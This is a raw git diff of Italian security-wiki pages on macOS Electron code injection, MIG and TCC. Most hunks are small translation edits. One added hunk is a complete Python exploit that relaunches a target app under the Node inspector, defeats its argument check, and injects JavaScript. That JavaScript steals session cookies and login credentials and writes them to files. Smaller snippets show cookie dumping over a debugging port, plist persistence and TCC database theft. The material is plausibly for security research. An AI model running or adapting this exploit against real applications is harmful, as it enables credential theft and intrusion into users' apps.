- **`OnlyLoadAppFromAsar`**: Se questo è abilitato, invece di cercare di caricare nell'ordine seguente: **`app.asar`**, **`app`** e infine **`default_app.asar`**. Controllerà e utilizzerà solo app.asar, garantendo così che quando è **combinato** con il fuso **`embeddedAsarIntegrityValidation`** sia **impossibile** **caricare codice non validato**.
|
||||
- **`EnableNodeCliInspectArguments`**: Se disabilitato, parametri come `--inspect`, `--inspect-brk` non saranno rispettati. Evitando in questo modo di iniettare codice.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Se abilitato, il **file** **`asar`** caricato sarà **validato** da macOS. **Prevenendo** in questo modo **l'iniezione di codice** modificando i contenuti di questo file.
|
||||
- **`OnlyLoadAppFromAsar`**: Se questo è abilitato, invece di cercare di caricare nell'ordine seguente: **`app.asar`**, **`app`** e infine **`default_app.asar`**. Controllerà e utilizzerà solo app.asar, garantendo così che quando **combinato** con il fuso **`embeddedAsarIntegrityValidation`** sia **impossibile** **caricare codice non validato**.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: Se abilitato, il processo del browser utilizza il file chiamato `browser_v8_context_snapshot.bin` per il suo snapshot V8.
|
||||
|
||||
Un altro fuso interessante che non impedirà l'iniezione di codice è:
|
||||
@ -46,11 +46,11 @@ Nelle applicazioni macOS, questo si trova tipicamente in `application.app/Conten
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
Puoi caricare questo file in [https://hexed.it/](https://hexed.it/) e cercare la stringa precedente. Dopo questa stringa puoi vedere in ASCII un numero "0" o "1" che indica se ciascun fusibile è disabilitato o abilitato. Modifica semplicemente il codice esadecimale (`0x30` è `0` e `0x31` è `1`) per **modificare i valori dei fusibili**.
|
||||
Puoi caricare questo file in [https://hexed.it/](https://hexed.it/) e cercare la stringa precedente. Dopo questa stringa puoi vedere in ASCII un numero "0" o "1" che indica se ogni fusibile è disabilitato o abilitato. Modifica semplicemente il codice esadecimale (`0x30` è `0` e `0x31` è `1`) per **modificare i valori dei fusibili**.
|
||||
|
||||
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Nota che se provi a **sovrascrivere** il **`Electron Framework` binary** all'interno di un'applicazione con questi byte modificati, l'app non verrà eseguita.
|
||||
Nota che se provi a **sovrascrivere** il **`binary`** del **`Electron Framework`** all'interno di un'applicazione con questi byte modificati, l'app non verrà eseguita.
|
||||
|
||||
## RCE aggiungendo codice alle Applicazioni Electron
|
||||
|
||||
@ -74,7 +74,7 @@ E imballalo di nuovo dopo averlo modificato con:
|
||||
```bash
|
||||
npx asar pack app-decomp app-new.asar
|
||||
```
|
||||
## RCE con `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
## RCE con ELECTRON_RUN_AS_NODE
|
||||
|
||||
Secondo [**la documentazione**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), se questa variabile di ambiente è impostata, avvierà il processo come un normale processo Node.js.
|
||||
```bash
|
||||
@ -154,10 +154,218 @@ Ad esempio:
|
||||
# Connect to it using chrome://inspect and execute a calculator with:
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||||
```
|
||||
In [**questo post del blog**](https://hackerone.com/reports/1274695), questo debugging viene abusato per far sì che un chrome headless **scarichi file arbitrari in posizioni arbitrarie**.
|
||||
|
||||
> [!TIP]
|
||||
> Se un'app ha un modo personalizzato per controllare se le variabili di ambiente o i parametri come `--inspect` sono impostati, potresti provare a **bypassarlo** in fase di esecuzione usando l'argomento `--inspect-brk` che **fermerà l'esecuzione** all'inizio dell'app e eseguirà un bypass (sovrascrivendo gli argomenti o le variabili di ambiente del processo corrente, ad esempio).
|
||||
|
||||
Il seguente era un exploit che monitorando ed eseguendo l'app con il parametro `--inspect-brk` era possibile bypassare la protezione personalizzata che aveva (sovrascrivendo i parametri del processo per rimuovere `--inspect-brk`) e poi iniettare un payload JS per estrarre cookie e credenziali dall'app:
|
||||
```python
|
||||
import asyncio
|
||||
import websockets
|
||||
import json
|
||||
import requests
|
||||
import os
|
||||
import psutil
|
||||
from time import sleep
|
||||
|
||||
INSPECT_URL = None
|
||||
CONT = 0
|
||||
CONTEXT_ID = None
|
||||
NAME = None
|
||||
UNIQUE_ID = None
|
||||
|
||||
JS_PAYLOADS = """
|
||||
var { webContents } = require('electron');
|
||||
var fs = require('fs');
|
||||
|
||||
var wc = webContents.getAllWebContents()[0]
|
||||
|
||||
|
||||
function writeToFile(filePath, content) {
|
||||
const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);
|
||||
|
||||
fs.writeFile(filePath, data, (err) => {
|
||||
if (err) {
|
||||
console.error(`Error writing to file ${filePath}:`, err);
|
||||
} else {
|
||||
console.log(`File written successfully at ${filePath}`);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function get_cookies() {
|
||||
intervalIdCookies = setInterval(() => {
|
||||
console.log("Checking cookies...");
|
||||
wc.session.cookies.get({})
|
||||
.then((cookies) => {
|
||||
tokenCookie = cookies.find(cookie => cookie.name === "token");
|
||||
if (tokenCookie){
|
||||
writeToFile("/tmp/cookies.txt", cookies);
|
||||
clearInterval(intervalIdCookies);
|
||||
wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
|
||||
}
|
||||
})
|
||||
}, 1000);
|
||||
}
|
||||
|
||||
function get_creds() {
|
||||
in_location = false;
|
||||
intervalIdCreds = setInterval(() => {
|
||||
if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
|
||||
in_location = true;
|
||||
console.log("Injecting creds logger...");
|
||||
wc.executeJavaScript(`
|
||||
(function() {
|
||||
email = document.getElementById('login_email_id');
|
||||
password = document.getElementById('login_password_id');
|
||||
if (password && email) {
|
||||
return email.value+":"+password.value;
|
||||
}
|
||||
})();
|
||||
`).then(result => {
|
||||
writeToFile("/tmp/victim_credentials.txt", result);
|
||||
})
|
||||
}
|
||||
else if (in_location) {
|
||||
wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
|
||||
clearInterval(intervalIdCreds);
|
||||
}
|
||||
}, 10); // Check every 10ms
|
||||
setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
|
||||
}
|
||||
|
||||
get_cookies();
|
||||
get_creds();
|
||||
console.log("Payloads injected");
|
||||
"""
|
||||
|
||||
async def get_debugger_url():
|
||||
"""
|
||||
Fetch the local inspector's WebSocket URL from the JSON endpoint.
|
||||
Assumes there's exactly one debug target.
|
||||
"""
|
||||
global INSPECT_URL
|
||||
|
||||
url = "http://127.0.0.1:9229/json"
|
||||
response = requests.get(url)
|
||||
data = response.json()
|
||||
if not data:
|
||||
raise RuntimeError("No debug targets found on port 9229.")
|
||||
# data[0] should contain an object with "webSocketDebuggerUrl"
|
||||
ws_url = data[0].get("webSocketDebuggerUrl")
|
||||
if not ws_url:
|
||||
raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
|
||||
INSPECT_URL = ws_url
|
||||
|
||||
|
||||
async def monitor_victim():
|
||||
print("Monitoring victim process...")
|
||||
found = False
|
||||
while not found:
|
||||
sleep(1) # Check every second
|
||||
for process in psutil.process_iter(attrs=['pid', 'name']):
|
||||
try:
|
||||
# Check if the process name contains "victim"
|
||||
if process.info['name'] and 'victim' in process.info['name']:
|
||||
found = True
|
||||
print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
|
||||
os.kill(process.info['pid'], 9) # Force kill the process
|
||||
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
|
||||
# Handle processes that might have terminated or are inaccessible
|
||||
pass
|
||||
os.system("open /Applications/victim.app --args --inspect-brk")
|
||||
|
||||
async def bypass_protections():
|
||||
global CONTEXT_ID, NAME, UNIQUE_ID
|
||||
print(f"Connecting to {INSPECT_URL} ...")
|
||||
|
||||
async with websockets.connect(INSPECT_URL) as ws:
|
||||
data = await send_cmd(ws, "Runtime.enable", get_first=True)
|
||||
CONTEXT_ID = data["params"]["context"]["id"]
|
||||
NAME = data["params"]["context"]["name"]
|
||||
UNIQUE_ID = data["params"]["context"]["uniqueId"]
|
||||
|
||||
sleep(1)
|
||||
|
||||
await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})
|
||||
|
||||
await send_cmd(ws, "Profiler.enable")
|
||||
|
||||
await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})
|
||||
|
||||
await send_cmd(ws, "Runtime.runIfWaitingForDebugger")
|
||||
|
||||
await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})
|
||||
|
||||
code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
|
||||
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
|
||||
print("Injected code to bypass protections")
|
||||
|
||||
|
||||
async def js_payloads():
|
||||
global CONT, CONTEXT_ID, NAME, UNIQUE_ID
|
||||
|
||||
print(f"Connecting to {INSPECT_URL} ...")
|
||||
|
||||
async with websockets.connect(INSPECT_URL) as ws:
|
||||
data = await send_cmd(ws, "Runtime.enable", get_first=True)
|
||||
CONTEXT_ID = data["params"]["context"]["id"]
|
||||
NAME = data["params"]["context"]["name"]
|
||||
UNIQUE_ID = data["params"]["context"]["uniqueId"]
|
||||
await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
|
||||
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})
|
||||
|
||||
|
||||
|
||||
async def main():
|
||||
await monitor_victim()
|
||||
sleep(3)
|
||||
await get_debugger_url()
|
||||
await bypass_protections()
|
||||
|
||||
sleep(7)
|
||||
|
||||
await js_payloads()
|
||||
|
||||
|
||||
|
||||
async def send_cmd(ws, method, get_first=False, params={}):
|
||||
"""
|
||||
Send a command to the inspector and read until we get a response with matching "id".
|
||||
"""
|
||||
global CONT
|
||||
|
||||
CONT += 1
|
||||
|
||||
# Send the command
|
||||
await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
|
||||
sleep(0.4)
|
||||
|
||||
# Read messages until we get our command result
|
||||
while True:
|
||||
response = await ws.recv()
|
||||
data = json.loads(response)
|
||||
|
||||
# Print for debugging
|
||||
print(f"[{method} / {CONT}] ->", data)
|
||||
|
||||
if get_first:
|
||||
return data
|
||||
|
||||
# If this message is a response to our command (by matching "id"), break
|
||||
if data.get("id") == CONT:
|
||||
return data
|
||||
|
||||
# Otherwise it's an event or unrelated message; keep reading
|
||||
|
||||
if __name__ == "__main__":
|
||||
asyncio.run(main())
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Se il fuse **`EnableNodeCliInspectArguments`** è disabilitato, l'app **ignorerà i parametri node** (come `--inspect`) quando viene avviata, a meno che la variabile env **`ELECTRON_RUN_AS_NODE`** non sia impostata, che sarà anch'essa **ignorata** se il fuse **`RunAsNode`** è disabilitato.
|
||||
>
|
||||
> Tuttavia, puoi ancora utilizzare il **parametro electron `--remote-debugging-port=9229`**, ma il payload precedente non funzionerà per eseguire altri processi.
|
||||
> Tuttavia, puoi comunque utilizzare il **parametro electron `--remote-debugging-port=9229`**, ma il payload precedente non funzionerà per eseguire altri processi.
|
||||
|
||||
Utilizzando il parametro **`--remote-debugging-port=9222`** è possibile rubare alcune informazioni dall'App Electron come la **cronologia** (con comandi GET) o i **cookie** del browser (poiché sono **decrittati** all'interno del browser e c'è un **endpoint json** che li fornirà).
|
||||
|
||||
@ -169,11 +377,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
||||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||
print(ws.recv()
|
||||
```
|
||||
In [**questo blogpost**](https://hackerone.com/reports/1274695), questo debugging viene abusato per far sì che un chrome headless **scarichi file arbitrari in posizioni arbitrarie**.
|
||||
### Injection from the App Plist
|
||||
|
||||
### Iniezione dal Plist dell'App
|
||||
|
||||
Potresti abusare di questa variabile d'ambiente in un plist per mantenere la persistenza aggiungendo queste chiavi:
|
||||
Puoi abusare di questa variabile di ambiente in un plist per mantenere la persistenza aggiungendo queste chiavi:
|
||||
```xml
|
||||
<dict>
|
||||
<key>ProgramArguments</key>
|
||||
@ -187,17 +393,19 @@ Potresti abusare di questa variabile d'ambiente in un plist per mantenere la per
|
||||
<true/>
|
||||
</dict>
|
||||
```
|
||||
## TCC Bypass abusing Older Versions
|
||||
## TCC Bypass abusando di Versioni Più Vecchie
|
||||
|
||||
> [!TIP]
|
||||
> Il demone TCC di macOS non controlla la versione eseguita dell'applicazione. Quindi, se **non puoi iniettare codice in un'applicazione Electron** con nessuna delle tecniche precedenti, puoi scaricare una versione precedente dell'APP e iniettare codice su di essa poiché otterrà comunque i privilegi TCC (a meno che il Trust Cache non lo impedisca).
|
||||
> Il demone TCC di macOS non controlla la versione eseguita dell'applicazione. Quindi, se **non riesci a iniettare codice in un'applicazione Electron** con nessuna delle tecniche precedenti, puoi scaricare una versione precedente dell'APP e iniettare codice su di essa poiché otterrà comunque i privilegi TCC (a meno che il Trust Cache non lo impedisca).
|
||||
|
||||
## Run non JS Code
|
||||
## Eseguire Codice Non JS
|
||||
|
||||
Le tecniche precedenti ti permetteranno di eseguire **codice JS all'interno del processo dell'applicazione electron**. Tuttavia, ricorda che i **processi figli vengono eseguiti sotto lo stesso profilo sandbox** dell'applicazione padre e **erediteranno i loro permessi TCC**.\
|
||||
Pertanto, se desideri abusare dei diritti per accedere alla fotocamera o al microfono, ad esempio, puoi semplicemente **eseguire un altro binario dal processo**.
|
||||
Le tecniche precedenti ti permetteranno di eseguire **codice JS all'interno del processo dell'applicazione electron**. Tuttavia, ricorda che i **processi figli vengono eseguiti sotto lo stesso profilo sandbox** dell'applicazione genitore e **erediteranno i loro permessi TCC**.\
|
||||
Pertanto, se desideri abusare delle autorizzazioni per accedere alla fotocamera o al microfono, ad esempio, puoi semplicemente **eseguire un altro binario dal processo**.
|
||||
|
||||
## Automatic Injection
|
||||
## Iniezione Automatica
|
||||
|
||||
- [**electroniz3r**](https://github.com/r3ggi/electroniz3r)
|
||||
|
||||
Lo strumento [**electroniz3r**](https://github.com/r3ggi/electroniz3r) può essere facilmente utilizzato per **trovare applicazioni electron vulnerabili** installate e iniettare codice su di esse. Questo strumento cercherà di utilizzare la tecnica **`--inspect`**:
|
||||
|
||||
@ -237,6 +445,11 @@ You can now kill the app using `kill -9 57739`
|
||||
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
|
||||
Shell binding requested. Check `nc 127.0.0.1 12345`
|
||||
```
|
||||
- [https://github.com/boku7/Loki](https://github.com/boku7/Loki)
|
||||
|
||||
Loki è stato progettato per inserire un backdoor nelle applicazioni Electron sostituendo i file JavaScript delle applicazioni con i file JavaScript di comando e controllo di Loki.
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
|
||||
@ -10,7 +10,7 @@ La definizione è specificata in Interface Definition Language (IDL) utilizzando
|
||||
|
||||
Queste definizioni hanno 5 sezioni:
|
||||
|
||||
- **Dichiarazione del sottosistema**: La parola chiave subsystem è usata per indicare il **nome** e l'**id**. È anche possibile contrassegnarlo come **`KernelServer`** se il server deve essere eseguito nel kernel.
|
||||
- **Dichiarazione del sottosistema**: La parola chiave subsystem è usata per indicare il **nome** e l'**id**. È anche possibile marcarlo come **`KernelServer`** se il server deve essere eseguito nel kernel.
|
||||
- **Inclusioni e importazioni**: MIG utilizza il preprocessore C, quindi è in grado di utilizzare importazioni. Inoltre, è possibile utilizzare `uimport` e `simport` per il codice generato dall'utente o dal server.
|
||||
- **Dichiarazioni di tipo**: È possibile definire tipi di dati anche se di solito importerà `mach_types.defs` e `std_types.defs`. Per quelli personalizzati si può utilizzare una certa sintassi:
|
||||
- \[i`n/out]tran`: Funzione che deve essere tradotta da un messaggio in arrivo o a un messaggio in uscita
|
||||
@ -40,13 +40,13 @@ server_port : mach_port_t;
|
||||
n1 : uint32_t;
|
||||
n2 : uint32_t);
|
||||
```
|
||||
Nota che il primo **argomento è la porta da associare** e MIG gestirà **automaticamente la porta di risposta** (a meno che non venga chiamato `mig_get_reply_port()` nel codice del client). Inoltre, l'**ID delle operazioni** sarà **sequenziale** a partire dall'ID del sottosistema indicato (quindi se un'operazione è deprecata viene eliminata e `skip` viene utilizzato per continuare a utilizzare il suo ID).
|
||||
Nota che il primo **argomento è la porta da associare** e MIG gestirà **automaticamente la porta di risposta** (a meno che non venga chiamato `mig_get_reply_port()` nel codice del client). Inoltre, l'**ID delle operazioni** sarà **sequenziale** a partire dall'ID del sottosistema indicato (quindi se un'operazione è deprecata viene eliminata e `skip` viene utilizzato per continuare a usare il suo ID).
|
||||
|
||||
Ora usa MIG per generare il codice del server e del client che sarà in grado di comunicare tra loro per chiamare la funzione Subtract:
|
||||
```bash
|
||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||
```
|
||||
Saranno creati diversi nuovi file nella directory corrente.
|
||||
Diversi nuovi file verranno creati nella directory corrente.
|
||||
|
||||
> [!TIP]
|
||||
> Puoi trovare un esempio più complesso nel tuo sistema con: `mdfind mach_port.defs`\
|
||||
@ -89,7 +89,7 @@ routine[1];
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Basato sulla struttura precedente, la funzione **`myipc_server_routine`** otterrà il **message ID** e restituirà la funzione appropriata da chiamare:
|
||||
In base alla struttura precedente, la funzione **`myipc_server_routine`** otterrà il **message ID** e restituirà la funzione appropriata da chiamare:
|
||||
```c
|
||||
mig_external mig_routine_t myipc_server_routine
|
||||
(mach_msg_header_t *InHeadP)
|
||||
@ -108,7 +108,7 @@ In questo esempio abbiamo definito solo 1 funzione nelle definizioni, ma se aves
|
||||
|
||||
Se la funzione doveva inviare una **risposta**, la funzione `mig_internal kern_return_t __MIG_check__Reply__<name>` esisterebbe anche.
|
||||
|
||||
In realtà è possibile identificare questa relazione nella struct **`subsystem_to_name_map_myipc`** da **`myipcServer.h`** (**`subsystem*to_name_map*\***`\*\* in altri file):
|
||||
In realtà è possibile identificare questa relazione nella struct **`subsystem_to_name_map_myipc`** da **`myipcServer.h`** (**`subsystem*to_name_map*\***`** in altri file):
|
||||
```c
|
||||
#ifndef subsystem_to_name_map_myipc
|
||||
#define subsystem_to_name_map_myipc \
|
||||
@ -235,7 +235,7 @@ Poiché molti binari ora utilizzano MIG per esporre porte mach, è interessante
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
Inoltre, le funzioni MIG sono semplicemente wrapper della funzione reale che viene chiamata, il che significa che ottenendo la sua disassemblaggio e cercando BL potresti essere in grado di trovare la funzione effettiva che viene chiamata:
|
||||
Inoltre, le funzioni MIG sono semplicemente dei wrapper della funzione reale che viene chiamata, il che significa che ottenendo il suo disassemblaggio e cercando BL potresti essere in grado di trovare la funzione effettiva che viene chiamata:
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep BL
|
||||
```
|
||||
|
||||
@ -4,15 +4,15 @@
|
||||
|
||||
## **Informazioni di Base**
|
||||
|
||||
**TCC (Trasparenza, Consenso e Controllo)** è un protocollo di sicurezza che si concentra sulla regolamentazione delle autorizzazioni delle applicazioni. Il suo ruolo principale è quello di proteggere funzionalità sensibili come **servizi di localizzazione, contatti, foto, microfono, fotocamera, accessibilità e accesso completo al disco**. Richiedendo un consenso esplicito dell'utente prima di concedere l'accesso dell'app a questi elementi, TCC migliora la privacy e il controllo dell'utente sui propri dati.
|
||||
**TCC (Trasparenza, Consenso e Controllo)** è un protocollo di sicurezza che si concentra sulla regolamentazione delle autorizzazioni delle applicazioni. Il suo ruolo principale è quello di proteggere funzionalità sensibili come **servizi di localizzazione, contatti, foto, microfono, fotocamera, accessibilità e accesso completo al disco**. Richiedendo il consenso esplicito dell'utente prima di concedere l'accesso dell'app a questi elementi, TCC migliora la privacy e il controllo dell'utente sui propri dati.
|
||||
|
||||
Gli utenti incontrano TCC quando le applicazioni richiedono accesso a funzionalità protette. Questo è visibile attraverso un prompt che consente agli utenti di **approvare o negare l'accesso**. Inoltre, TCC consente azioni dirette dell'utente, come **trascinare e rilasciare file in un'applicazione**, per concedere accesso a file specifici, garantendo che le applicazioni abbiano accesso solo a ciò che è esplicitamente consentito.
|
||||
Gli utenti incontrano TCC quando le applicazioni richiedono accesso a funzionalità protette. Questo è visibile attraverso un prompt che consente agli utenti di **approvare o negare l'accesso**. Inoltre, TCC consente azioni dirette da parte dell'utente, come **trascinare e rilasciare file in un'applicazione**, per concedere accesso a file specifici, garantendo che le applicazioni abbiano accesso solo a ciò che è esplicitamente consentito.
|
||||
|
||||
|
||||
|
||||
**TCC** è gestito dal **daemon** situato in `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` e configurato in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registrando il servizio mach `com.apple.tccd.system`).
|
||||
|
||||
C'è un **tccd in modalità utente** in esecuzione per ogni utente connesso definito in `/System/Library/LaunchAgents/com.apple.tccd.plist` registrando i servizi mach `com.apple.tccd` e `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
C'è un **tccd in modalità utente** in esecuzione per ogni utente connesso definito in `/System/Library/LaunchAgents/com.apple.tccd.plist` che registra i servizi mach `com.apple.tccd` e `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
|
||||
Qui puoi vedere il tccd in esecuzione come sistema e come utente:
|
||||
```bash
|
||||
@ -24,12 +24,12 @@ I permessi sono **ereditati dall'applicazione padre** e i **permessi** sono **tr
|
||||
|
||||
### Database TCC
|
||||
|
||||
Le autorizzazioni/negazioni sono quindi memorizzate in alcuni database TCC:
|
||||
Le autorizzazioni/rifiuti sono quindi memorizzati in alcuni database TCC:
|
||||
|
||||
- Il database a livello di sistema in **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
- Questo database è **protetto da SIP**, quindi solo un bypass SIP può scriverci.
|
||||
- Il database TCC dell'utente **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** per le preferenze per utente.
|
||||
- Questo database è protetto, quindi solo i processi con alti privilegi TCC come l'Accesso Completo al Disco possono scriverci (ma non è protetto da SIP).
|
||||
- Questo database è protetto, quindi solo i processi con alti privilegi TCC come l'accesso completo al disco possono scriverci (ma non è protetto da SIP).
|
||||
|
||||
> [!WARNING]
|
||||
> I database precedenti sono anche **protetti da TCC per l'accesso in lettura**. Quindi **non sarai in grado di leggere** il tuo database TCC utente regolare a meno che non provenga da un processo privilegiato TCC.
|
||||
@ -45,7 +45,7 @@ Le autorizzazioni/negazioni sono quindi memorizzate in alcuni database TCC:
|
||||
> Il database TCC in **iOS** si trova in **`/private/var/mobile/Library/TCC/TCC.db`**.
|
||||
|
||||
> [!NOTE]
|
||||
> L'**interfaccia del centro notifiche** può apportare **modifiche al database TCC di sistema**:
|
||||
> L'**interfaccia del centro notifiche** può apportare **modifiche nel database TCC di sistema**:
|
||||
>
|
||||
> ```bash
|
||||
> codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd
|
||||
@ -102,10 +102,10 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||
{{#endtabs}}
|
||||
|
||||
> [!TIP]
|
||||
> Controllando entrambe le banche dati puoi verificare i permessi che un'app ha consentito, ha vietato o non ha (chiederà di farlo).
|
||||
> Controllando entrambe le banche dati puoi verificare i permessi che un'app ha consentito, ha vietato o non ha (chiederà di essi).
|
||||
|
||||
- Il **`service`** è la rappresentazione della stringa di **permesso** TCC
|
||||
- Il **`client`** è il **bundle ID** o **percorso del binario** con i permessi
|
||||
- Il **`client`** è il **bundle ID** o il **percorso del binario** con i permessi
|
||||
- Il **`client_type`** indica se si tratta di un Identificatore di Bundle(0) o di un percorso assoluto(1)
|
||||
|
||||
<details>
|
||||
@ -171,12 +171,12 @@ echo "X'$REQ_HEX'"
|
||||
```
|
||||
- Per ulteriori informazioni sui **altri campi** della tabella [**controlla questo post del blog**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
||||
|
||||
Puoi anche controllare le **autorizzazioni già concesse** alle app in `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`.
|
||||
Puoi anche controllare i **permessi già concessi** alle app in `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`.
|
||||
|
||||
> [!TIP]
|
||||
> Gli utenti _possono_ **eliminare o interrogare le regole** utilizzando **`tccutil`** .
|
||||
|
||||
#### Ripristina le autorizzazioni TCC
|
||||
#### Ripristina i permessi TCC
|
||||
```bash
|
||||
# You can reset all the permissions given to an application with
|
||||
tccutil reset All app.some.id
|
||||
@ -206,7 +206,7 @@ csreq -t -r /tmp/telegram_csreq.bin
|
||||
Le app **non hanno solo bisogno** di **richiedere** e di avere **accesso** a alcune risorse, ma devono anche **avere i diritti pertinenti**.\
|
||||
Ad esempio, **Telegram** ha il diritto `com.apple.security.device.camera` per richiedere **accesso alla fotocamera**. Un **app** che **non ha** questo **diritto non potrà** accedere alla fotocamera (e l'utente non verrà nemmeno chiesto per i permessi).
|
||||
|
||||
Tuttavia, per le app per **accedere** a **determinate cartelle utente**, come `~/Desktop`, `~/Downloads` e `~/Documents`, **non hanno bisogno** di avere diritti specifici. Il sistema gestirà l'accesso in modo trasparente e **chiederà all'utente** secondo necessità.
|
||||
Tuttavia, per le app che devono **accedere** a **determinate cartelle utente**, come `~/Desktop`, `~/Downloads` e `~/Documents`, **non hanno bisogno** di avere diritti specifici. Il sistema gestirà l'accesso in modo trasparente e **chiederà all'utente** secondo necessità.
|
||||
|
||||
Le app di Apple **non genereranno richieste**. Contengono **diritti pre-concessi** nella loro lista di **diritti**, il che significa che **non genereranno mai un popup**, **né** appariranno in nessuna delle **banche dati TCC**. Ad esempio:
|
||||
```bash
|
||||
@ -222,7 +222,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
Questo eviterà che Calendar chieda all'utente di accedere a promemoria, calendario e rubrica.
|
||||
|
||||
> [!TIP]
|
||||
> Oltre ad alcune documentazioni ufficiali sugli entitlement, è anche possibile trovare informazioni **interessanti non ufficiali sugli entitlement in** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
|
||||
> Oltre ad alcune documentazioni ufficiali sugli entitlement, è anche possibile trovare informazioni **interessanti sugli entitlement in** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
|
||||
|
||||
Alcuni permessi TCC sono: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Non esiste un elenco pubblico che definisca tutti, ma puoi controllare questo [**elenco di quelli noti**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
|
||||
|
||||
@ -234,7 +234,7 @@ Alcuni permessi TCC sono: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServi
|
||||
|
||||
### Intento dell'utente / com.apple.macl
|
||||
|
||||
Come menzionato in precedenza, è possibile **concedere accesso a un'app a un file trascinandolo e rilasciandolo su di essa**. Questo accesso non sarà specificato in alcun database TCC ma come un **attributo esteso del file**. Questo attributo **memorizzerà l'UUID** dell'app consentita:
|
||||
Come menzionato in precedenza, è possibile **concedere accesso a un'app a un file trascinandolo e rilasciandolo su di essa**. Questo accesso non sarà specificato in alcun database TCC ma come un **attributo esteso** **del file**. Questo attributo **memorizzerà l'UUID** dell'app autorizzata:
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
@ -254,7 +254,7 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
>
|
||||
> Nota anche che se sposti un file che consente l'UUID di un'app nel tuo computer a un altro computer, poiché la stessa app avrà UIDs diversi, non concederà accesso a quell'app.
|
||||
|
||||
L'attributo esteso `com.apple.macl` **non può essere cancellato** come altri attributi estesi perché è **protetto da SIP**. Tuttavia, come [**spiegato in questo post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), è possibile disabilitarlo **zippando** il file, **eliminandolo** e **decomprendendolo**.
|
||||
L'attributo esteso `com.apple.macl` **non può essere cancellato** come altri attributi estesi perché è **protetto da SIP**. Tuttavia, come [**spiegato in questo post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), è possibile disabilitarlo **zippando** il file, **eliminandolo** e **de-zippandolo**.
|
||||
|
||||
## TCC Privesc & Bypasses
|
||||
|
||||
@ -345,7 +345,7 @@ EOD
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Rubare TCC.db dei sistemi"}}
|
||||
{{#tab name="Steal systems TCC.db"}}
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
tell application "Finder"
|
||||
@ -361,7 +361,7 @@ EOD
|
||||
Potresti abusare di questo per **scrivere il tuo database TCC utente**.
|
||||
|
||||
> [!WARNING]
|
||||
